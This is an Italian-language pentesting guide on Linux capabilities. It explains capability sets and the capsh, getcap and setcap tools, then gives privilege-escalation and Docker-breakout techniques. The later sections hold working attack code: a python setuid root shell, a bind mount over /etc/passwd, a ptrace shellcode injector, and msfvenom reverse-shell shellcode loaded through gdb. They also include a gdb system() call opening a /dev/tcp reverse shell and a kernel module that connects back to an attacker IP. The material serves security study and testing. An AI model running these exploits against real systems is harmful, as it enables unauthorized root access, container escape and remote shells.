Linux Capabilities

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Linux Capabilities

Le capacità di Linux dividono i privilegi di root in unità più piccole e distinte, consentendo ai processi di avere un sottoinsieme di privilegi. Questo riduce i rischi non concedendo inutilmente pieni privilegi di root.

Il Problema:

• Gli utenti normali hanno permessi limitati, influenzando compiti come l'apertura di un socket di rete che richiede accesso root.

Insiemi di Capacità:

1. Inherited (CapInh):

• Scopo: Determina le capacità trasferite dal processo padre.

• Funzionalità: Quando viene creato un nuovo processo, eredita le capacità dal suo genitore in questo insieme. Utile per mantenere determinati privilegi attraverso le generazioni di processi.

• Restrizioni: Un processo non può acquisire capacità che il suo genitore non possedeva.

2. Effective (CapEff):

• Scopo: Rappresenta le capacità effettive che un processo sta utilizzando in qualsiasi momento.

• Funzionalità: È l'insieme di capacità controllato dal kernel per concedere permessi per varie operazioni. Per i file, questo insieme può essere un flag che indica se le capacità consentite del file devono essere considerate effettive.

• Significato: L'insieme effettivo è cruciale per i controlli immediati dei privilegi, fungendo da insieme attivo di capacità che un processo può utilizzare.

3. Permitted (CapPrm):

• Scopo: Definisce il massimo insieme di capacità che un processo può possedere.

• Funzionalità: Un processo può elevare una capacità dall'insieme permesso al suo insieme effettivo, dandogli la possibilità di utilizzare quella capacità. Può anche rinunciare a capacità dal suo insieme permesso.

• Limite: Funziona come un limite superiore per le capacità che un processo può avere, assicurando che un processo non superi il suo ambito di privilegi predefinito.

4. Bounding (CapBnd):

• Scopo: Impone un tetto sulle capacità che un processo può mai acquisire durante il suo ciclo di vita.

• Funzionalità: Anche se un processo ha una certa capacità nel suo insieme ereditabile o permesso, non può acquisire quella capacità a meno che non sia anche nell'insieme di bounding.

• Caso d'uso: Questo insieme è particolarmente utile per limitare il potenziale di escalation dei privilegi di un processo, aggiungendo un ulteriore livello di sicurezza.

5. Ambient (CapAmb):

• Scopo: Consente a determinate capacità di essere mantenute attraverso una chiamata di sistema execve, che normalmente comporterebbe un ripristino completo delle capacità del processo.

• Funzionalità: Garantisce che i programmi non-SUID che non hanno capacità di file associate possano mantenere determinati privilegi.

• Restrizioni: Le capacità in questo insieme sono soggette ai vincoli degli insiemi ereditabili e permessi, assicurando che non superino i privilegi consentiti del processo.

# Code to demonstrate the interaction of different capability sets might look like this:
# Note: This is pseudo-code for illustrative purposes only.
def manage_capabilities(process):
if process.has_capability('cap_setpcap'):
process.add_capability_to_set('CapPrm', 'new_capability')
process.limit_capabilities('CapBnd')
process.preserve_capabilities_across_execve('CapAmb')

Per ulteriori informazioni controlla:

• https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work

• https://blog.ploetzli.ch/2014/understanding-linux-capabilities/

Capacità dei Processi e dei Binaries

Capacità dei Processi

Per vedere le capacità di un particolare processo, usa il file status nella directory /proc. Poiché fornisce più dettagli, limitiamolo solo alle informazioni relative alle capacità di Linux. Nota che per tutti i processi in esecuzione, le informazioni sulle capacità sono mantenute per thread, mentre per i binaries nel file system sono memorizzate in attributi estesi.

Puoi trovare le capacità definite in /usr/include/linux/capability.h

Puoi trovare le capacità del processo corrente in cat /proc/self/status o eseguendo capsh --print e di altri utenti in /proc/<pid>/status

cat /proc/1234/status | grep Cap
cat /proc/$$/status | grep Cap #This will print the capabilities of the current process

Questo comando dovrebbe restituire 5 righe sulla maggior parte dei sistemi.

• CapInh = Capacità ereditate

• CapPrm = Capacità consentite

• CapEff = Capacità effettive

• CapBnd = Insieme di limitazione

• CapAmb = Insieme di capacità ambientali

#These are the typical capabilities of a root owned process (all)
CapInh: 0000000000000000
CapPrm: 0000003fffffffff
CapEff: 0000003fffffffff
CapBnd: 0000003fffffffff
CapAmb: 0000000000000000

Questi numeri esadecimali non hanno senso. Utilizzando l'utilità capsh possiamo decodificarli nei nomi delle capacità.

capsh --decode=0000003fffffffff
0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37

Controlliamo ora le capabilities utilizzate da ping:

cat /proc/9491/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000000000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Sebbene funzioni, c'è un altro modo più semplice. Per vedere le capacità di un processo in esecuzione, utilizza semplicemente lo strumento getpcaps seguito dal suo ID processo (PID). Puoi anche fornire un elenco di ID processo.

getpcaps 1234

Controlliamo qui le capacità di tcpdump dopo aver dato al binario sufficienti capacità (cap_net_admin e cap_net_raw) per sniffare la rete (tcpdump è in esecuzione nel processo 9562):

#The following command give tcpdump the needed capabilities to sniff traffic
$ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump

$ getpcaps 9562
Capabilities for `9562': = cap_net_admin,cap_net_raw+ep

$ cat /proc/9562/status | grep Cap
CapInh:    0000000000000000
CapPrm:    0000000000003000
CapEff:    0000000000003000
CapBnd:    0000003fffffffff
CapAmb:    0000000000000000

$ capsh --decode=0000000000003000
0x0000000000003000=cap_net_admin,cap_net_raw

Come puoi vedere, le capacità fornite corrispondono ai risultati dei 2 modi per ottenere le capacità di un binario. Lo strumento getpcaps utilizza la chiamata di sistema capget() per interrogare le capacità disponibili per un particolare thread. Questa chiamata di sistema ha solo bisogno di fornire il PID per ottenere ulteriori informazioni.

Capacità dei Binaries

I binaries possono avere capacità che possono essere utilizzate durante l'esecuzione. Ad esempio, è molto comune trovare il binario ping con la capacità cap_net_raw:

getcap /usr/bin/ping
/usr/bin/ping = cap_net_raw+ep

Puoi cercare i binari con capacità utilizzando:

getcap -r / 2>/dev/null

Dropping capabilities with capsh

Se rimuoviamo le capacità CAP_NET_RAW per ping, allora l'utilità ping non dovrebbe più funzionare.

capsh --drop=cap_net_raw --print -- -c "tcpdump"

Oltre all'output di capsh stesso, anche il comando tcpdump dovrebbe sollevare un errore.

/bin/bash: /usr/sbin/tcpdump: Operazione non consentita

L'errore mostra chiaramente che il comando ping non è autorizzato ad aprire un socket ICMP. Ora sappiamo con certezza che questo funziona come previsto.

Rimuovere le capacità

Puoi rimuovere le capacità di un binario con

setcap -r </path/to/binary>

User Capabilities

Apparentemente è possibile assegnare capacità anche agli utenti. Questo probabilmente significa che ogni processo eseguito dall'utente sarà in grado di utilizzare le capacità degli utenti. Basato su questo, questo e questo alcuni file devono essere configurati per dare a un utente determinate capacità, ma quello che assegna le capacità a ciascun utente sarà /etc/security/capability.conf. Esempio di file:

# Simple
cap_sys_ptrace               developer
cap_net_raw                  user1

# Multiple capablities
cap_net_admin,cap_net_raw    jrnetadmin
# Identical, but with numeric values
12,13                        jrnetadmin

# Combining names and numerics
cap_sys_admin,22,25          jrsysadmin

Capacità dell'Ambiente

Compilando il seguente programma è possibile generare una shell bash all'interno di un ambiente che fornisce capacità.

ambient.c

/*
* Test program for the ambient capabilities
*
* compile using:
* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
* Set effective, inherited and permitted capabilities to the compiled binary
* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
*
* To get a shell with additional caps that can be inherited do:
*
* ./ambient /bin/bash
*/

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <sys/prctl.h>
#include <linux/capability.h>
#include <cap-ng.h>

static void set_ambient_cap(int cap) {
int rc;
capng_get_caps_process();
rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap);
if (rc) {
printf("Cannot add inheritable cap\n");
exit(2);
}
capng_apply(CAPNG_SELECT_CAPS);
/* Note the two 0s at the end. Kernel checks for these */
if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) {
perror("Cannot set cap");
exit(1);
}
}
void usage(const char * me) {
printf("Usage: %s [-c caps] new-program new-args\n", me);
exit(1);
}
int default_caplist[] = {
CAP_NET_RAW,
CAP_NET_ADMIN,
CAP_SYS_NICE,
-1
};
int * get_caplist(const char * arg) {
int i = 1;
int * list = NULL;
char * dup = strdup(arg), * tok;
for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) {
list = realloc(list, (i + 1) * sizeof(int));
if (!list) {
perror("out of memory");
exit(1);
}
list[i - 1] = atoi(tok);
list[i] = -1;
i++;
}
return list;
}
int main(int argc, char ** argv) {
int rc, i, gotcaps = 0;
int * caplist = NULL;
int index = 1; // argv index for cmd to start
if (argc < 2)
usage(argv[0]);
if (strcmp(argv[1], "-c") == 0) {
if (argc <= 3) {
usage(argv[0]);
}
caplist = get_caplist(argv[2]);
index = 3;
}
if (!caplist) {
caplist = (int * ) default_caplist;
}
for (i = 0; caplist[i] != -1; i++) {
printf("adding %d to ambient list\n", caplist[i]);
set_ambient_cap(caplist[i]);
}
printf("Ambient forking shell\n");
if (execv(argv[index], argv + index))
perror("Cannot exec");
return 0;
}

gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c
sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient
./ambient /bin/bash

All'interno del bash eseguito dal binario ambientale compilato è possibile osservare le nuove capacità (un utente normale non avrà alcuna capacità nella sezione "corrente").

capsh --print
Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip

Puoi aggiungere solo le capacità che sono presenti sia nel set permesso che in quello ereditabile.

Binaries consapevoli delle capacità/Binaries non consapevoli delle capacità

I binaries consapevoli delle capacità non utilizzeranno le nuove capacità fornite dall'ambiente, tuttavia i binaries non consapevoli delle capacità le utilizzeranno poiché non le rifiuteranno. Questo rende i binaries non consapevoli delle capacità vulnerabili all'interno di un ambiente speciale che concede capacità ai binaries.

Capacità del servizio

Per impostazione predefinita, un servizio in esecuzione come root avrà assegnate tutte le capacità, e in alcune occasioni questo può essere pericoloso. Pertanto, un file di configurazione del servizio consente di specificare le capacità che si desidera che abbia, e l'utente che dovrebbe eseguire il servizio per evitare di eseguire un servizio con privilegi non necessari:

[Service]
User=bob
AmbientCapabilities=CAP_NET_BIND_SERVICE

Capabilities in Docker Containers

Per impostazione predefinita, Docker assegna alcune capacità ai contenitori. È molto facile controllare quali sono queste capacità eseguendo:

docker run --rm -it  r.j3ss.co/amicontained bash
Capabilities:
BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap

# Add a capabilities
docker run --rm -it --cap-add=SYS_ADMIN r.j3ss.co/amicontained bash

# Add all capabilities
docker run --rm -it --cap-add=ALL r.j3ss.co/amicontained bash

# Remove all and add only one
docker run --rm -it  --cap-drop=ALL --cap-add=SYS_PTRACE r.j3ss.co/amicontained bash

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Privesc/Container Escape

Le capacità sono utili quando vuoi limitare i tuoi stessi processi dopo aver eseguito operazioni privilegiate (ad es. dopo aver impostato chroot e collegato a un socket). Tuttavia, possono essere sfruttate passando loro comandi o argomenti malevoli che vengono poi eseguiti come root.

Puoi forzare le capacità sui programmi usando setcap, e interrogarle usando getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

Il +ep significa che stai aggiungendo la capacità (“-” la rimuoverebbe) come Efficace e Permessa.

Per identificare i programmi in un sistema o in una cartella con capacità:

getcap -r / 2>/dev/null

Esempio di sfruttamento

Nell'esempio seguente, il binario /usr/bin/python2.6 è stato trovato vulnerabile a privesc:

setcap cap_setuid+ep /usr/bin/python2.7
/usr/bin/python2.7 = cap_setuid+ep

#Exploit
/usr/bin/python2.7 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities necessarie per tcpdump per consentire a qualsiasi utente di sniffare pacchetti:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

Il caso speciale delle capacità "vuote"

Dal documento: Nota che è possibile assegnare set di capacità vuoti a un file di programma, e quindi è possibile creare un programma set-user-ID-root che cambia il set-user-ID effettivo e salvato del processo che esegue il programma a 0, ma non conferisce alcuna capacità a quel processo. O, in altre parole, se hai un binario che:

1. non è di proprietà di root

2. non ha bit SUID/SGID impostati

3. ha set di capacità vuoti (ad es.: getcap myelf restituisce myelf =ep)

allora quel binario verrà eseguito come root.

CAP_SYS_ADMIN

CAP_SYS_ADMIN è una capacità Linux altamente potente, spesso equiparata a un livello quasi root a causa dei suoi ampi privilegi amministrativi, come il montaggio di dispositivi o la manipolazione delle funzionalità del kernel. Sebbene sia indispensabile per i container che simulano interi sistemi, CAP_SYS_ADMIN presenta sfide di sicurezza significative, specialmente negli ambienti containerizzati, a causa del suo potenziale per l'escalation dei privilegi e il compromesso del sistema. Pertanto, il suo utilizzo richiede valutazioni di sicurezza rigorose e una gestione cauta, con una forte preferenza per la rimozione di questa capacità nei container specifici per le applicazioni per aderire al principio del minimo privilegio e ridurre la superficie di attacco.

Esempio con binario

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_admin+ep

Utilizzando python, puoi montare un file passwd modificato sopra il vero file passwd:

cp /etc/passwd ./ #Create a copy of the passwd file
openssl passwd -1 -salt abc password #Get hash of "password"
vim ./passwd #Change roots passwords of the fake passwd file

E infine montare il file passwd modificato su /etc/passwd:

from ctypes import *
libc = CDLL("libc.so.6")
libc.mount.argtypes = (c_char_p, c_char_p, c_char_p, c_ulong, c_char_p)
MS_BIND = 4096
source = b"/path/to/fake/passwd"
target = b"/etc/passwd"
filesystemtype = b"none"
options = b"rw"
mountflags = MS_BIND
libc.mount(source, target, filesystemtype, mountflags, options)

E sarai in grado di su come root utilizzando la password "password".

Esempio con ambiente (Docker breakout)

Puoi controllare le capacità abilitate all'interno del contenitore docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+ep
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro l'output precedente puoi vedere che la capacità SYS_ADMIN è abilitata.

• Mount

Questo consente al container docker di montare il disco host e accedervi liberamente:

fdisk -l #Get disk name
Disk /dev/sda: 4 GiB, 4294967296 bytes, 8388608 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes

mount /dev/sda /mnt/ #Mount it
cd /mnt
chroot ./ bash #You have a shell inside the docker hosts disk

• Accesso completo

Nel metodo precedente siamo riusciti ad accedere al disco dell'host docker. Nel caso in cui tu trovi che l'host sta eseguendo un server ssh, potresti creare un utente all'interno del disco dell'host docker e accedervi tramite SSH:

#Like in the example before, the first step is to mount the docker host disk
fdisk -l
mount /dev/sda /mnt/

#Then, search for open ports inside the docker host
nc -v -n -w2 -z 172.17.0.1 1-65535
(UNKNOWN) [172.17.0.1] 2222 (?) open

#Finally, create a new user inside the docker host and use it to access via SSH
chroot /mnt/ adduser john
ssh john@172.17.0.1 -p 2222

CAP_SYS_PTRACE

Questo significa che puoi sfuggire al container iniettando un shellcode all'interno di un processo in esecuzione all'interno dell'host. Per accedere ai processi in esecuzione all'interno dell'host, il container deve essere eseguito almeno con --pid=host.

CAP_SYS_PTRACE concede la possibilità di utilizzare le funzionalità di debug e tracciamento delle chiamate di sistema fornite da ptrace(2) e chiamate di attacco alla memoria incrociata come process_vm_readv(2) e process_vm_writev(2). Sebbene sia potente per scopi diagnostici e di monitoraggio, se CAP_SYS_PTRACE è abilitato senza misure restrittive come un filtro seccomp su ptrace(2), può compromettere significativamente la sicurezza del sistema. In particolare, può essere sfruttato per eludere altre restrizioni di sicurezza, in particolare quelle imposte da seccomp, come dimostrato da prove di concetto (PoC) come questa.

Esempio con binario (python)

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_ptrace+ep

import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)

# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Esempio con binario (gdb)

gdb con capacità ptrace:

/usr/bin/gdb = cap_sys_ptrace+ep

Crea uno shellcode con msfvenom da iniettare in memoria tramite gdb

# msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=9001 -f py -o revshell.py
buf =  b""
buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05"
buf += b"\x48\x97\x48\xb9\x02\x00\x23\x29\x0a\x0a\x0e\x0b"
buf += b"\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05"
buf += b"\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75"
buf += b"\xf6\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f"
buf += b"\x73\x68\x00\x53\x48\x89\xe7\x52\x57\x48\x89\xe6"
buf += b"\x0f\x05"

# Divisible by 8
payload = b"\x90" * (8 - len(buf) % 8 ) + buf

# Change endianess and print gdb lines to load the shellcode in RIP directly
for i in range(0, len(buf), 8):
chunk = payload[i:i+8][::-1]
chunks = "0x"
for byte in chunk:
chunks += f"{byte:02x}"

print(f"set {{long}}($rip+{i}) = {chunks}")

Debugga un processo root con gdb e copia-incolla le righe gdb generate in precedenza:

# In this case there was a sleep run by root
## NOTE that the process you abuse will die after the shellcode
/usr/bin/gdb -p $(pgrep sleep)
[...]
(gdb) set {long}($rip+0) = 0x296a909090909090
(gdb) set {long}($rip+8) = 0x5e016a5f026a9958
(gdb) set {long}($rip+16) = 0x0002b9489748050f
(gdb) set {long}($rip+24) = 0x48510b0e0a0a2923
(gdb) set {long}($rip+32) = 0x582a6a5a106ae689
(gdb) set {long}($rip+40) = 0xceff485e036a050f
(gdb) set {long}($rip+48) = 0x6af675050f58216a
(gdb) set {long}($rip+56) = 0x69622fbb4899583b
(gdb) set {long}($rip+64) = 0x8948530068732f6e
(gdb) set {long}($rip+72) = 0x050fe689485752e7
(gdb) c
Continuing.
process 207009 is executing new program: /usr/bin/dash
[...]

Esempio con ambiente (Docker breakout) - Un altro abuso di gdb

Se GDB è installato (o puoi installarlo con apk add gdb o apt install gdb per esempio) puoi debuggare un processo dall'host e farlo chiamare la funzione system. (Questa tecnica richiede anche la capacità SYS_ADMIN).

gdb -p 1234
(gdb) call (void)system("ls")
(gdb) call (void)system("sleep 5")
(gdb) call (void)system("bash -c 'bash -i >& /dev/tcp/192.168.115.135/5656 0>&1'")

Non sarai in grado di vedere l'output del comando eseguito, ma verrà eseguito da quel processo (quindi ottieni una rev shell).

Se ricevi l'errore "Nessun simbolo "system" nel contesto attuale.", controlla l'esempio precedente che carica uno shellcode in un programma tramite gdb.

Esempio con ambiente (Docker breakout) - Iniezione di Shellcode

Puoi controllare le capacità abilitate all'interno del container docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_sys_ptrace,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root

List processi in esecuzione nell'host ps -eaf

1. Ottieni l'architettura uname -m

2. Trova un shellcode per l'architettura (https://www.exploit-db.com/exploits/41128)

3. Trova un programma per iniettare il shellcode nella memoria di un processo (https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c)

4. Modifica il shellcode all'interno del programma e compila gcc inject.c -o inject

5. Inietta e prendi la tua shell: ./inject 299; nc 172.17.0.1 5600

CAP_SYS_MODULE

CAP_SYS_MODULE consente a un processo di caricare e scaricare moduli del kernel (init_module(2), finit_module(2) e delete_module(2) chiamate di sistema), offrendo accesso diretto alle operazioni fondamentali del kernel. Questa capacità presenta rischi critici per la sicurezza, poiché consente l'escalation dei privilegi e il compromesso totale del sistema permettendo modifiche al kernel, eludendo così tutti i meccanismi di sicurezza di Linux, inclusi i Linux Security Modules e l'isolamento dei container. Questo significa che puoi inserire/rimuovere moduli del kernel nel/dal kernel della macchina host.

Esempio con binario

Nell'esempio seguente il binario python ha questa capacità.

getcap -r / 2>/dev/null
/usr/bin/python2.7 = cap_sys_module+ep

Per impostazione predefinita, il comando modprobe controlla l'elenco delle dipendenze e i file di mappatura nella directory /lib/modules/$(uname -r). Per sfruttare questo, creiamo una cartella falsa lib/modules:

mkdir lib/modules -p
cp -a /lib/modules/5.0.0-20-generic/ lib/modules/$(uname -r)

Poi compila il modulo del kernel che puoi trovare 2 esempi qui sotto e copialo in questa cartella:

cp reverse-shell.ko lib/modules/$(uname -r)/

Infine, esegui il codice python necessario per caricare questo modulo del kernel:

import kmod
km = kmod.Kmod()
km.set_mod_dir("/path/to/fake/lib/modules/5.0.0-20-generic/")
km.modprobe("reverse-shell")

Esempio 2 con binario

Nell'esempio seguente, il binario kmod ha questa capacità.

getcap -r / 2>/dev/null
/bin/kmod = cap_sys_module+ep

Il che significa che è possibile utilizzare il comando insmod per inserire un modulo del kernel. Segui l'esempio qui sotto per ottenere una reverse shell abusando di questo privilegio.

Esempio con ambiente (Docker breakout)

Puoi controllare le capacità abilitate all'interno del contenitore docker usando:

capsh --print
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap+ep
Bounding set =cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_module,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)

Dentro dell'output precedente puoi vedere che la capacità SYS_MODULE è abilitata.

Crea il modulo del kernel che eseguirà una reverse shell e il Makefile per compilarlo:

reverse-shell.c

#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };

// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);

Makefile

obj-m +=reverse-shell.o

all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean

Il carattere vuoto prima di ogni parola make nel Makefile deve essere una tabulazione, non spazi!

Esegui make per compilarlo.

ake[1]: *** /lib/modules/5.10.0-kali7-amd64/build: No such file or directory.  Stop.

sudo apt update
sudo apt full-upgrade

Infine, avvia nc all'interno di una shell e carica il modulo da un'altra e catturerai la shell nel processo nc:

#Shell 1
nc -lvnp 4444

#Shell 2
insmod reverse-shell.ko #Launch the reverse shell

Il codice di questa tecnica è stato copiato dal laboratorio di "Abusing SYS_MODULE Capability" da https://www.pentesteracademy.com/

Un altro esempio di questa tecnica può essere trovato in https://www.cyberark.com/resources/threat-research-blog/how-i-hacked-play-with-docker-and-remotely-ran-code-on-the-host

CAP_DAC_READ_SEARCH

CAP_DAC_READ_SEARCH consente a un processo di bypassare i permessi per la lettura dei file e per la lettura e l'esecuzione delle directory. Il suo utilizzo principale è per la ricerca o la lettura di file. Tuttavia, consente anche a un processo di utilizzare la funzione open_by_handle_at(2), che può accedere a qualsiasi file, inclusi quelli al di fuori dello spazio dei nomi di montaggio del processo. L'identificatore utilizzato in open_by_handle_at(2) dovrebbe essere un identificatore non trasparente ottenuto tramite name_to_handle_at(2), ma può includere informazioni sensibili come i numeri degli inode che sono vulnerabili a manomissioni. Il potenziale di sfruttamento di questa capacità, in particolare nel contesto dei contenitori Docker, è stato dimostrato da Sebastian Krahmer con l'exploit shocker, come analizzato qui. Questo significa che puoi bypassare i controlli dei permessi di lettura dei file e i controlli dei permessi di lettura/esecuzione delle directory.

